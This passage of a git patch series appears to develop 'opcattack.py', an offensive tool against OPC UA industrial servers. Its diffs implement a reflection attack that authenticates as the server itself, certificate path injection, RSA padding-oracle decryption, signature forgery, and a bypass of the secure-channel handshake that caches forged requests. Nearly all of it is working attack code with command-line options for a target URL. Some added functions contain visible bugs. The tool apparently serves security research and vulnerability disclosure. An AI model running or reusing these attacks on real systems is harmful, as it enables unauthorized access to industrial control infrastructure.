padbyte = plainblocksize - (base_msglen + 1) % plainblocksize + padding = (padbyte + 1) * bytes([padbyte]) + ctextsize = (len(plaintext) + len(padding) + sigsize) // plainblocksize * cipherblocksize + + # Add padding and adjust length to obtain signature input. + setattr(self, trailname, plaintext + padding) + siginput = self.to_bytes() + siginput = siginput[:4] + IntField().to_bytes(len(siginput) - len(plaintext) - len(padding) + ctextsize) + siginput[8:] + signature = signer(siginput) + + # Encrypt plaintext, padding and signature. + ciphertext = encrypter(plaintext + padding + signature) + assert len(ciphertext) == ctextsize + setattr(self, trailname, ciphertext) + + def sign(self, signer : Callable[[bytes], bytes], sigsize : int): + '''Message signing without encryption and padding.''' + trailname, trailtype = self.fields[-1] + assert isinstance(trailtype, TrailingBytes) + siginput = self.to_bytes() + siginput = siginput[:4] + IntField().to_bytes(len(siginput) + sigsize) + siginput[8:] + signature = signer(siginput) + setattr(self, trailname, getattr(self, trailname) + signature) + + # Messages. class HelloMessage(OpcMessage): From 1b98612724a184a123500159d9fbba8dac330519 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 19 Mar 2024 15:57:24 +0100 Subject: [PATCH 21/70] Fixed OPC handshake with known key. cn-inject works properly now. --- attacks.py | 60 ++++++++++++++++++++++++++--------------------------- crypto.py | 11 +++++++++- messages.py | 8 ++++--- 3 files changed, 45 insertions(+), 34 deletions(-) diff --git a/attacks.py b/attacks.py index 4c251bd..98fdd50 100644 --- a/attacks.py +++ b/attacks.py @@ -29,7 +29,8 @@ def ceildiv(a,b): return a // b + (a % b and 1) # Self signed certificate template (DER encoded) used for path injection attack. -SELFSIGNED_CERT_TEMPLATE = b64decode('MIIE6TCCA9GgAwIBAgIKEtz1iOEt2W2zvjANBgkqhkiG9w0BAQsFADB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwHhcNMjQwMzEwMDAwMDAwWhcNMjUwMzEwMDAwMDAwWjB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZar5gJGUm88hIcuTautbRnZ/TvBx4nezaab9djeHTCmx0EezCS/2LSAnCv3uYumvpvd5s03eEPfQ0s26wKqgUj4eKCn2XTukaORJu/jb9mGoD40bRwrMDMxW5CpHZ0xFgnyKHb3QbzzvwFwGTx1bXGz9xMe+J9r5mNzsHVZ46aVOScOrF44ZyRwbNkWAhIiXKgrJoHLKA6LN6iBA+kkKTZc7q+GsoEM5O4pwAXATqMGmsFaV/I05x7CckrNgUVZfT2PwwRMZ1hKITu1Z/Jti6dUzxyF5qWFoL5TDNKFQYPtR13LaQpQkzUqkw8VkUeBiT+hFsiT4GkYuo9Emv9TxAgMBAAGjggFpMIIBZTAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTJcPReZqL1YOptopao2c+m/nvp8DCBsQYDVR0jBIGpMIGmgBTJcPReZqL1YOptopao2c+m/nvp8KGBgaR/MH0xIDAeBgoJkiaJk/IsZAEZExB0dGVydm9vcnQtc2VjdXJhMRcwFQYDVQQKEw5PUEMgRm91bmRhdGlvbjEQMA4GA1UECBMHQXJpem9uYTELMAkGA1UEBhMCVVMxITAfBgNVBAMTGENvbnNvbGUgUmVmZXJlbmNlIENsaWVudIIKEtz1iOEt2W2zvjAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMFAGA1UdEQRJMEeGM3Vybjp0dGVydm9vcnQtc2VjdXJhOlVBOlF1aWNrc3RhcnRzOlJlZmVyZW5jZUNsaWVudIIQdHRlcnZvb3J0LXNlY3VyYTANBgkqhkiG9w0BAQsFAAOCAQEAjw9zu/9SPD6iOex67jS/xaKc7JhWTa7JBZjY7xPYEhnxSwkyMW7I8AkAK/d5w9/WJl0I2dTlZ8ftKKUFjOV7TrNhT2TNuYVqq9OZQhJYKEPmfUhb5oAHqGLWCixyDfiez69hLii0QT5qVYi5rR5S+C0KQ3uNXRt3subM3edND9LSuUc3DTfc2r6ZFQ9SR0Y0BCf3gLyB7VPrVKxpKspNjTv/5y3dSI4q1VNA+q8OaXxSVUVlTN/Nlg8euWELiHeGGHu3EKqje1swN4cLXoSWfhn6qW/x/PvcUZMvK2xrukrR1f1SR/R9gZm0SKeEEq0nRrn1ASPB5sMtOWPxdruSKA==') +SELFSIGNED_CERT_TEMPLATE = b64decode('MIIERDCCAyygAwIBAgIUcC5NBws70ghGv3jjkdIBjlcDRgMwDQYJKoZIhvcNAQELBQAwXTEUMBIGCgmSJomT8ixkARkWBHRlc3QxFzAVBgNVBAoMDk9QQyBGb3VuZGF0aW9uMRAwDgYDVQQIDAdBcml6b25hMQswCQYDVQQGEwJVUzENMAsGA1UEAwwEdGVzdDAeFw0yNDAzMTkxNDAwMTZaFw0yNTAzMTkxNDAwMTZaMF0xFDASBgoJkiaJk/IsZAEZFgR0ZXN0MRcwFQYDVQQKDA5PUEMgRm91bmRhdGlvbjEQMA4GA1UECAwHQXJpem9uYTELMAkGA1UEBhMCVVMxDTALBgNVBAMMBHRlc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGw8ewnzA+09uDx3zJd96FHLmzX2JhmTHdelPQgFz1UQxT1JLdjZv8uIpV5chcl/fvRga9kWzNS3YtADyG0LfmGfA6M5j/sfUatfOBEe1UJEO3TFpvRaeQd9KIIWk9XR5ue0bihR5Wk59f5jvo/RY4J/t3rWUny7R3HXrWxSlY0iskr3+sRkRIcYqqHehsCtJ2k1ZNUcN1HHV+FicRuf695Os1aoXBi/ViX1A4/3UmOrsHCXThj/4zEfbG5puJHBf5SMbjBjoZu7uCrYA53r/Wt3zLAnxKdbJjZ9nJP0x2pyzwd19JtqGqvKICdG/NKArjVxjjY2jqzGN/ExWB2mUbAgMBAAGjgfswgfgwDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEQQIMAaGBHRlc3QwgYUGA1UdIwR+MHyAFIHIizG1yMWN1z6tsU9VYpeAyqoloWGkXzBdMRQwEgYKCZImiZPyLGQBGRYEdGVzdDEXMBUGA1UECgwOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgMB0FyaXpvbmExCzAJBgNVBAYTAlVTMQ0wCwYDVQQDDAR0ZXN0ggF7MB0GA1UdDgQWBBSByIsxtcjFjdc+rbFPVWKXgMqqJTANBgkqhkiG9w0BAQsFAAOCAQEAb9vxdW04fyXxjdNEHY5R4vDTNzyK2BIwb264tgrAtmAohXL4QqyXFxF6NcnpRv9n2iGhWLUpvE/LbGmU0s7Y8QmHHcngpwRkmasUlEUut3h9cZ9xshPrkVvNTY+SpSCzrNTL3dKv5AN04we6GZAPAhSfNeFKy80qQRxQYvuqL+/FqVCqjtLhQLxH8KQDtklCcDJh0YGgxesO7Zc1QhgFXg/YzcNEb3htgETpe281LCAxWJbhKqY+DuIeR/68halfxfryf10TRGcYYJG6H31jA69EJnaX3FwP592Gr5PY53VCuxQySOTUUKLkE4EdjRwA5SL8HabrCAebscOdwAeVLA==') +TEMPLATE_APP_URI = 'test' # Fixed clientNonce value used within spoofed OpenSecureChannel requests. SPOOFED_OPN_NONCE = unhexlify('1337133713371337133713371337133713371337133713371337133713371337') @@ -105,6 +106,7 @@ class ChannelState: channel_id: int token_id : int msg_counter : int + securityMode : MessageSecurityMode crypto: Optional[SessionCrypto] # Attempt to start a "Secure" channel with no signing or encryption. @@ -135,6 +137,7 @@ def unencrypted_opn(sock: socket) -> ChannelState: channel_id=resp.securityToken.channelId, token_id=resp.securityToken.tokenId, msg_counter=2, + securityMode=MessageSecurityMode.NONE, crypto=None, ) @@ -176,6 +179,8 @@ def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client sigsize=pk.size_in_bytes(), ) replymsg = opc_exchange(sock, msg) + + # Immediately start parsing plaintext, ignoring padding and signature. convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, replymsg.encodedPart)) resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) @@ -184,6 +189,7 @@ def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client channel_id=resp.securityToken.channelId, token_id=resp.securityToken.tokenId, msg_counter=2, + securityMode=endpoint.securityMode, crypto=deriveKeyMaterial(sp, client_nonce, resp.serverNonce) ) @@ -203,39 +209,30 @@ def session_exchange(channel : ChannelState, ) crypto = channel.crypto - if crypto: - - - - raise Exception('TODO: bugfix session crypto') - # Add padding and signing into encoded message. - basemsg = msg.to_bytes() - padbyte = 16 - (len(basemsg) + 1) % 16 - padding = (padbyte + 1) * bytes([padbyte]) - macinput = basemsg + padding - macinput = macinput[:4] + IntField().to_bytes(len(macinput) + macsize(crypto.policy)) + macinput[8:] - mac = sha_hmac(crypto.policy, crypto.clientKeys.signingKey, macinput + padding) - plaintext = msg.encodedPart + padding + mac - - # Encrypt encoded part. - msg.encodedPart = aes_cbc_encrypt(crypto.clientKeys.encryptionKey, crypto.clientKeys.iv, plaintext) + assert crypto or channel.securityMode == MessageSecurityMode.NONE + if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT: + msg.sign_and_encrypt( + signer=lambda data: sha_hmac(crypto.policy, crypto.clientKeys.signingKey, data), + encrypter=lambda ptext: aes_cbc_encrypt(crypto.clientKeys.encryptionKey, crypto.clientKeys.iv, ptext), + plainblocksize=16, + cipherblocksize=16, + sigsize=macsize(crypto.policy), + ) + elif channel.securityMode == MessageSecurityMode.SIGN: + msg.sign(lambda data: sha_hmac(crypto.policy, crypto.clientKeys.signingKey, data), macsize(crypto.policy)) # Do the exchange. reply = opc_exchange(channel.sock, msg) - if crypto: + decodedPart = reply.encodedPart + if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT: # Decrypt. - plaintext = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, reply.encodedPart) - - # Remove signature and padding. Don't bother to validate. - decodedPart = pkcs7_unpad(plaintext[:macsize(crypto.policy)]) - else: - decodedPart = reply.encodedPart - + decodedPart = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, decodedPart) + # Increment the message counter. channel.msg_counter += 1 - # Parse the response. + # Parse the response, ignoring any padding and MAC. convo, _ = encodedConversation.from_bytes(decodedPart) resp, _ = respfield.from_bytes(convo.requestOrResponse) return resp @@ -989,7 +986,7 @@ def trylogin(): createreply = generic_exchange(chan, ep.securityPolicyUri, createSessionRequest, createSessionResponse, requestHeader=simple_requestheader(), clientDescription=applicationDescription.create( - applicationUri=cn, + applicationUri=TEMPLATE_APP_URI, productUri=cn, applicationName=LocalizedText(text=cn), applicationType=ApplicationType.CLIENT, @@ -1006,19 +1003,22 @@ def trylogin(): maxResponseMessageSize=2**24, ) log_success('CreateSessionRequest with certificate accepted.') - anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] + anon_policies = [p for p in ep.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] if anon_policies: log('Trying to activate session.') activatereply = generic_exchange(chan, ep.securityPolicyUri, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createreply.authenticationToken), - clientSignature=rsa_sign(ep.securityPolicyUri, privkey, ep.serverCertificate + createreply.serverNonce), + clientSignature=signatureData.create( + algorithm=rsa_siguri(ep.securityPolicyUri), + signature=rsa_sign(ep.securityPolicyUri, privkey, ep.serverCertificate + createreply.serverNonce), + ), clientSoftwareCertificates=[], localeIds=[], userIdentityToken=anonymousIdentityToken.create(policyId=anon_policies[0].policyId), userTokenSignature=signatureData.create(algorithm=None,signature=None), ) log_success('Authentication with certificate was succesfull!') - return chan, activatereply.authenticationToken + return chan, createreply.authenticationToken else: log(f'Server requires user authentication, which is not implemented for this attack. Will stop here.') return None diff --git a/crypto.py b/crypto.py index 6743e5e..75453f6 100644 --- a/crypto.py +++ b/crypto.py @@ -19,7 +19,7 @@ def rsa_sign(policy: SecurityPolicy, privkey : RsaKey, message : bytes) -> bytes hasher, signer = { SecurityPolicy.BASIC128RSA15 : (SHA1, pkcs1_15), - SecurityPolicy.BASIC256 : (SHA1, pkcs1_15), + SecurityPolicy.BASIC256 : (SHA256, pkcs1_15), SecurityPolicy.AES128_SHA256_RSAOAEP : (SHA256, pkcs1_15), SecurityPolicy.BASIC256SHA256 : (SHA256, pkcs1_15), SecurityPolicy.AES256_SHA256_RSAPSS : (SHA256, pss), @@ -27,6 +27,15 @@ def rsa_sign(policy: SecurityPolicy, privkey : RsaKey, message : bytes) -> bytes return signer.new(privkey).sign(hasher.new(message)) +def rsa_siguri(policy: SecurityPolicy) -> str: + return { + SecurityPolicy.BASIC128RSA15 : 'http://www.w3.org/2000/09/xmldsig#rsa-sha1', + SecurityPolicy.BASIC256 : 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + SecurityPolicy.AES128_SHA256_RSAOAEP : 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + SecurityPolicy.BASIC256SHA256 : 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + SecurityPolicy.AES256_SHA256_RSAPSS : 'http://opcfoundation.org/UA/security/rsa-pss-sha2-256', + }[policy] + def rsa_plainblocksize(policy: SecurityPolicy, key : RsaKey) -> int: # Size of chunks an OPC UA encryptor cuts plaintext into to perform "RSA-ECB" crypto. diff --git a/messages.py b/messages.py index fefa8a0..6d57ef8 100644 --- a/messages.py +++ b/messages.py @@ -93,10 +93,10 @@ def sign_and_encrypt(self, plaintext = getattr(self, trailname) # Length calculations. - base_msglen = len(self.to_bytes()) - padbyte = plainblocksize - (base_msglen + 1) % plainblocksize + padbyte = plainblocksize - (len(plaintext) + 1 + sigsize) % plainblocksize padding = (padbyte + 1) * bytes([padbyte]) - ctextsize = (len(plaintext) + len(padding) + sigsize) // plainblocksize * cipherblocksize + ptextsize = len(plaintext) + len(padding) + sigsize + ctextsize = (ptextsize // plainblocksize) * cipherblocksize # Add padding and adjust length to obtain signature input. setattr(self, trailname, plaintext + padding) @@ -109,6 +109,8 @@ def sign_and_encrypt(self, assert len(ciphertext) == ctextsize setattr(self, trailname, ciphertext) + assert(len(self.to_bytes()) == len(siginput) - len(plaintext) - len(padding) + ctextsize) + def sign(self, signer : Callable[[bytes], bytes], sigsize : int): '''Message signing without encryption and padding.''' trailname, trailtype = self.fields[-1] From 068157825dbea1430edfdb4ef56b0fa82f733b44 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 20 Mar 2024 13:12:08 +0100 Subject: [PATCH 22/70] Implemented OPN bypass as part of reflection attack. --- attacks.py | 159 +++++++++++++++++++++++++++++++++++++-------------- crypto.py | 48 +++++++++++++++- opcattack.py | 19 +++--- 3 files changed, 172 insertions(+), 54 deletions(-) diff --git a/attacks.py b/attacks.py index 98fdd50..b6f5168 100644 --- a/attacks.py +++ b/attacks.py @@ -14,8 +14,9 @@ from binascii import hexlify, unhexlify from base64 import b64encode, b64decode from datetime import datetime, timedelta +from pathlib import Path -import sys, os, itertools, re, math, hashlib +import sys, os, itertools, re, math, hashlib, json # Logging and errors. def log(msg : str): @@ -419,7 +420,7 @@ def browse_from(root, depth): log('Finished browsing.') # Reflection attack: log in to a server with its own identity. -def reflect_attack(url : str, demo : bool): +def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path): proto, host, port = parse_endpoint_url(url) log(f'Attempting reflection attack against {url}') endpoints = get_endpoints(url) @@ -437,8 +438,32 @@ def reflect_attack(url : str, demo : bool): log_success(f'Attack succesfull! Authenticated session set up with {url}.') if demo: demonstrate_access(url, token, target.securityPolicyUri) + elif try_opn_oracle or try_password_oracle: + tcp_eps = [ep for ep in endpoints if ep.securityPolicyUri != SecurityPolicy.NONE and ep.securityPolicyUri != SecurityPolicy.AES256_SHA256_RSAPSS and ep.transportProfileUri.endswith('uatcp-uasc-uabinary')] + if tcp_eps: + target = tcp_eps[0] + tproto, thost, tport = parse_endpoint_url(target.endpointUrl) + assert tproto == TransportProtocol.TCP_BINARY + + log(f'No HTTPS endpoints. Trying to bypass secure channel on {target.endpointUrl} via padding oracle.') + with bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file) as chan: + log(f'Trying reflection attack (if channel is still alive).') + try: + token = execute_relay_attack(chan, target, chan, target) + except ServerError as err: + if err.errorcode == 0x80870000: + raise AttackNotPossible('Server returning BadSecureChannelTokenUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.') + else: + raise err + + log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') + if demo: + demonstrate_access(chan, token, target.securityPolicyUri) + else: + raise AttackNotPossible('No endpoints applicable (TCP/HTTPS transport and a non-None security policy are required; also, support for Aes256_Sha256_RsaPss is currently not implemented yet).') + else: - raise AttackNotPossible('TODO: implement combination with OPN attack.') + raise AttackNotPossible('Server does not support HTTPS endpoint. Try with --bypass-opn instead.') def relay_attack(source_url : str, target_url : str, demo : bool): log(f'Attempting relay from {source_url} to {target_url}') @@ -478,7 +503,7 @@ def relay_attack(source_url : str, target_url : str, demo : bool): demonstrate_access(mainchan, token, tep.securityPolicyUri) return - raise AttackNotPossible('TODO: implement combination with OPN attack.') + raise AttackNotPossible('TODO: implement --bypass-opn for relay attack.') except ServerError as err: if err.errorcode == 0x80550000 and target_url.startswith('opc.tcp'): raise AttackNotPossible('Security policy rejected by server. Perhaps user authentication over NONE channel is blocked.') @@ -881,9 +906,13 @@ def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : log_success(f'Success! Raw result: {hexlify(result).decode()}') # Check how plaintext is padded and display unpadded version. - if result.startswith(b'\x00\x02') and b'\x00' not in result[2:9] and b'\x00' in result[10:]: - log(f'Plaintext uses PKCS#1v1.5 padding. Unpadded value:') - unpadded = result[(result[10:].find(b'\x00') + 11):] + unpadded = None + if result.startswith(b'\x00\x02'): + try: + unpadded = remove_rsa_padding(result, SecurityPolicy.BASIC128RSA15) + log(f'Plaintext appears to use PKCS#1v1.5 padding. Unpadded value:') + except: + pass else: unpadded = decode_oaep_padding(result, 'sha1') if unpadded is not None: @@ -922,24 +951,16 @@ def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : return except: pass - -def int2bytes(value : int, outlen : int) -> bytes: - # Coverts a nonnegative integer to a fixed-size big-endian binary representation. - result = [0] * outlen - j = value - for ix in reversed(range(0, outlen)): - result[ix] = j % 256 - j //= 256 - - if j != 0: - raise ValueError(f'{value} does not fit in {outlen} bytes.') - return bytes(result) - -def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, hasher : str) -> bytes: +def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, policy : SecurityPolicy) -> bytes: # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. # Logs and returns signature. + assert policy != SecurityPolicy.NONE + if policy == SecurityPolicy.AES256_SHA256_RSAPSS: + raise AttackNotPossible('Spoofing PSS signature is possible but currently not yet implemented.') + + hasher = 'sha1' if policy == SecurityPolicy.BASIC128RSA15 else 'sha256' oracle, endpoint = find_padding_oracle(url, try_opn, try_password) # Compute padded hash to be used as 'ciphertext'. @@ -1037,11 +1058,9 @@ def trylogin(): demonstrate_access(*chantoken, ep.securityPolicyUri) -def forge_opn_request(endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> OpenSecureChannelMessage: - # Use the padding oracle attack to forge a (reusable) signed and encrypted OPN request. - sp = endpoint.securityPolicyUri - pk = certificate_publickey(endpoint.serverCertificate) - assert sp != SecurityPolicy.NONE +def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> OpenSecureChannelMessage: + # Use the padding oracle attack (against impersonate_endpoint) to forge a reusable signed and encrypted OPN request, that can be used against login_endpoint. + assert login_endpoint.securityPolicyUri != SecurityPolicy.NONE plaintext = encodedConversation.to_bytes(encodedConversation.create( sequenceNumber=1, @@ -1050,36 +1069,88 @@ def forge_opn_request(endpoint : endpointDescription.Type, opn_oracle : bool, pa requestHeader=simple_requestheader(), clientProtocolVersion=0, requestType=SecurityTokenRequestType.ISSUE, - securityMode=endpoint.securityMode, + securityMode=login_endpoint.securityMode, clientNonce=SPOOFED_OPN_NONCE, - requestedLifetime=3600000, + requestedLifetime=3600000, # 1000 hours )) )) msg = OpenSecureChannelMessage( secureChannelId=0, - securityPolicyUri=sp, - senderCertificate=client_certificate, - receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), + securityPolicyUri=login_endpoint.securityPolicyUri, + senderCertificate=impersonate_endpoint.serverCertificate, + receiverCertificateThumbprint=certificate_thumbprint(login_endpoint.serverCertificate), encodedPart=plaintext ) - raise Exception('TODO: fix padding') - padded_msg = pkcs7_pad(msg.to_bytes(), rsa_plainblocksize(sp, pk)) - log('First, trying sigforge attack to produce OPN signature.') - hasher = 'sha1' if sp in [SecurityPolicy.BASIC128RSA15, SecurityPolicy.BASIC256] else 'sha256' - forge_signature_attack(endpoint.endpointUrl, padded_msg, opn_oracle, password_oracle, hasher) + log('Trying sigforge attack to produce OPN signature.') + imp_pk = certificate_publickey(impersonate_endpoint.serverCertificate) + login_pk = certificate_publickey(login_endpoint.serverCertificate) + login_sp = login_endpoint.securityPolicyUri + msg.sign_and_encrypt( + signer=lambda data: forge_signature_attack(impersonate_endpoint.endpointUrl, data, opn_oracle, password_oracle, login_sp), + encrypter=lambda ptext: rsa_ecb_encrypt(login_sp, login_pk, ptext), + plainblocksize=rsa_plainblocksize(login_sp, login_pk), + cipherblocksize=login_pk.size_in_bytes(), + sigsize=imp_pk.size_in_bytes(), + ) - msg.encodedPart = b'' - ciphertext = rsa_ecb_encrypt(sp, pk, padded_msg[len(msg.to_bytes()):] + signature) - msg.encodedPart = ciphertext log(f'Message bytes after applying encryption: {hexlify(msg.to_bytes()).decode()}') - return msg -# def bypass_opn(endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> ChannelState: -# # Attempts to set up a security channel without knowing the private key, by exploiting a padding oracle twice. -# ..... - +def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, cache : Path) -> ChannelState: + lproto, lhost, lport = parse_endpoint_url(login_endpoint.endpointUrl) + if lproto != TransportProtocol.TCP_BINARY: + raise AttackNotPossible('Target endpoint should use opc.tcp protocol.') + + # Attempts to set up a secure channel without knowing the private key, by exploiting a padding oracle twice. + cachedata = {} + if cache.exists(): + try: + with cache.open('r') as infile: + cachedata = json.load(infile) + except: + log(f'Error parsing {cache} contents. Ignoring it and starting a new cache file.') + + # An OPN can be reused as long as the endpoints use the same certificates and security policies. + ep_id = lambda ep: f'{hexlify(certificate_thumbprint(ep.serverCertificate))}-{ep.securityPolicyUri.name}' + cachekey = f'{ep_id(impersonate_endpoint)}/{ep_id(login_endpoint)}' + if cachekey in cachedata: + log('Using signed+encrypted OPN request from cache.') + opn_req = OpenSecureChannelMessage() + opn_req.from_bytes(b64decode(cachedata[cachekey])) + else: + opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle) + log(f'Storing signed+encrypted OPN request in cache file {cache}.') + cachedata[cachekey] = b64encode(opn_req.to_bytes()) + with cache.open('w') as outfile: + json.dump(outfile, cachedata) + + log('Performing the OPN handshake...') + login_sock = connect_and_hello(lhost, lport) + opn_reply = opc_exchange(login_sock, opn_req) + + log_success('Forged OPN request was accepted. Now keeping this session open while decrypting the first block of the response.') + oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle) + cipherblocksize = certificate_publickey(oracle_ep.serverCertificate).size_in_bytes() + assert len(opn_reply.encodedPart) % cipherblocksize == 0 + + decrypted = rsa_decryptor(oracle, oracle_ep.serverCertificate, opn_reply.encodedPart[:cipherblocksize]) + log_success(f'Success! Got the following plaintext: {decrypted}') + unpadded = remove_rsa_padding(decrypted, login_endpoint.securityPolicyUri) + + # Assuming response fits in single plaintext block. + log('Removed padding. Now parsing OpenSecureChannelResponse.') + opn_resp, _ = openSecureChannelResponse.from_bytes(encodedConversation.from_bytes(unpadded)[0]) + log_success(f'Extracted secret server nonce: {hexlify(opn_resp.serverNonce).decode()}') + + return ChannelState( + sock=login_sock, + channel_id=opn_resp.securityToken.channelId, + token_id=opn_resp.securityToken.tokenId, + msg_counter=2, + securityMode=login_endpoint.securityMode, + crypto=deriveKeyMaterial(login_endpoint.securityPolicyUri, SPOOFED_OPN_NONCE, opn_resp.serverNonce), + ) def oracletest(): diff --git a/crypto.py b/crypto.py index 75453f6..bbd69d5 100644 --- a/crypto.py +++ b/crypto.py @@ -1,5 +1,6 @@ from message_fields import * +from Crypto.PublicKey import RSA from Crypto.PublicKey.RSA import RsaKey, import_key from Crypto.Signature import pkcs1_15, pss from Crypto.Hash import SHA1, SHA256 @@ -199,9 +200,52 @@ def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, keybytes = crypto.dump_privatekey(crypto. FILETYPE_ASN1, key) return crypto.dump_certificate(crypto.FILETYPE_ASN1, cert), import_key(keybytes) +def int2bytes(value : int, outlen : int) -> bytes: + # Coverts a nonnegative integer to a fixed-size big-endian binary representation. + result = [0] * outlen + j = value + for ix in reversed(range(0, outlen)): + result[ix] = j % 256 + j //= 256 + + if j != 0: + raise ValueError(f'{value} does not fit in {outlen} bytes.') + return bytes(result) + def decode_oaep_padding(payload : bytes, hashfunc : str) -> Optional[bytes]: - # Returns None if padding is invalid. - raise Exception('TODO: implement OAEP padding decoding.') + # Can't find a good OAEP decoding implementation right now (crypto libraries don't seem to expose unpadding + # separately), and implementing it seems a bit of a pain to test and debug, so let's just cheat by encrypting and + # decrypting it with an arbitrary key pair. + global _oaep_keycache + keybits = len(payload) * 8 + keypair = _oaep_keycache.get(keybits) or _oaep_keycache.setdefault(keybits, RSA.generate(keybits)) + + hasher = { + 'sha1': SHA1, + 'sha256': SHA256 + }[hashfunc] + m = 0 + for by in payload: + m *= 256 + m += by + + try: + return PKCS1_OAEP(keypair, hasher).decrypt(int2bytes(pow(m, keypair.e, keypair.n))) + except: + return None + +def remove_rsa_padding(payload : bytes, policy : SecurityPolicy) -> Optional[bytes]: + # Decode RSA padding based on security policy. Returns None if padding is incorrect. + assert policy != SecurityPolicy.NONE + if policy == SecurityPolicy.BASIC128RSA15: + if payload.startswith(b'\x00\x02') and b'\x00' not in result[2:9] and b'\x00' in result[10:]: + return payload[(payload[10:].find(b'\x00') + 11):] + else: + return None + elif policy == SecurityPolicy.AES256_SHA256_RSAPSS: + return decode_oaep_padding(payload, 'sha256') + else: + return decode_oaep_padding(payload, 'sha1') def pkcs1v15_signature_encode(hasher, msg, outlen): # RFC 3447 signature encoding. diff --git a/opcattack.py b/opcattack.py index 731a7b1..b049657 100755 --- a/opcattack.py +++ b/opcattack.py @@ -104,20 +104,23 @@ def add_arguments(self, aparser): help='don\'t dump server contents on success; just tell if attack worked') aparser.add_argument('-b', '--bypass-opn', action='store_true', help='when no HTTPS is available, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') - aparser.add_argument('-r', '--reusable-opn-file', type=Path, default='.spoofed-opnreqs.json', - help='file in which to cache OPN requests with spoofed signatures; default: .spoofed-opnreqs.json') - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + aparser.add_argument('-c', '--cache-file', type=Path, default='.spoofed-opnreqs.json', + help='file in which to cache OPN requests with spoofed signatures; default: .opncache.json') + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') aparser.add_argument('url', help='Target server OPC URL (either opc.tcp:// or https:// protocol)', type=str) - def execute(self, args): - # TODO: padding oracle options - if args.bypass_opn: - raise Exception('TODO: implement --bypass-opn option') - reflect_attack(args.url, not args.no_demo) + def execute(self, args): + reflect_attack( + args.url, + not args.no_demo, + args.bypass_opn and args.padding_oracle_type != 'password', + args.bypass_opn and args.padding_oracle_type != 'opn', + args.cache_file + ) class RelayAttack(Attack): subcommand = 'relay' From 5f9e652e18d682fec3e80d3f554486960bb883ae Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 20 Mar 2024 14:31:59 +0100 Subject: [PATCH 23/70] Prevented padding oracle selector from hanging. --- attacks.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index b6f5168..95e07dc 100644 --- a/attacks.py +++ b/attacks.py @@ -518,6 +518,7 @@ class PaddingOracle(ABC): def __init__(self, endpoint : endpointDescription.Type): self._endpoint = endpoint self._active = False + self._has_timed_out = False @abstractmethod def _setup(self): @@ -538,12 +539,15 @@ def pick_endpoint(clazz, endpoints : List[endpointDescription.Type]) -> Optional ... def query(self, ciphertext : bytes): - if self._active: + if self._active and not self._has_timed_out: try: return self._attempt_query(ciphertext) except KeyboardInterrupt as ex: # Don't retry when user CTRL+C's. raise ex + except TimeoutError: + # 